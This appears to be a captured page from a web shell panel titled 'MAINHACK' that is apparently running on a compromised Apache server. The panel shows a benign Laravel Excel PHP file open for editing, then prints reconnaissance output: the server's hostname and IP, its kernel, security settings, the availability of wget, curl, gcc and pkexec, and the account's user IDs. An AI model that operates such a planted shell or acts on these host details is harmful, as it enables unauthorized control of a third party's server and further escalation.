[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HeadingRowExtractor.php
<?php namespace Maatwebsite\Excel\Imports; use Maatwebsite\Excel\Concerns\WithColumnLimit; use Maatwebsite\Excel\Concerns\WithGroupedHeadingRow; use Maatwebsite\Excel\Concerns\WithHeadingRow; use Maatwebsite\Excel\Concerns\WithStartRow; use Maatwebsite\Excel\Row; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class HeadingRowExtractor { /** * @const int */ const DEFAULT_HEADING_ROW = 1; /** * @param WithHeadingRow|mixed $importable * @return int */ public static function headingRow($importable): int { return method_exists($importable, 'headingRow') ? $importable->headingRow() : self::DEFAULT_HEADING_ROW; } /** * @param WithHeadingRow|mixed $importable * @return int */ public static function determineStartRow($importable): int { if ($importable instanceof WithStartRow) { return $importable->startRow(); } // The start row is the row after the heading row if we have one! return $importable instanceof WithHeadingRow ? self::headingRow($importable) + 1 : self::DEFAULT_HEADING_ROW; } /** * @param Worksheet $worksheet * @param WithHeadingRow|mixed $importable * @return array */ public static function extract(Worksheet $worksheet, $importable): array { if (!$importable instanceof WithHeadingRow) { return []; } $headingRowNumber = self::headingRow($importable); $rows = iterator_to_array($worksheet->getRowIterator($headingRowNumber, $headingRowNumber)); $headingRow = head($rows); $endColumn = $importable instanceof WithColumnLimit ? $importable->endColumn() : null; return HeadingRowFormatter::format((new Row($headingRow))->toArray(null, false, false, $endColumn)); } /** * @param array $headingRow * @param WithGroupedHeadingRow|mixed $importable * @return array */ public static function extractGrouping($headingRow, $importable) { $headerIsGrouped = array_fill(0, count($headingRow), false); if (!$importable instanceof WithGroupedHeadingRow) { return $headerIsGrouped; } array_walk($headerIsGrouped, function (&$value, $key) use ($headingRow) { if (array_count_values($headingRow)[$headingRow[$key]] > 1) { $value = true; } }); return $headerIsGrouped; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002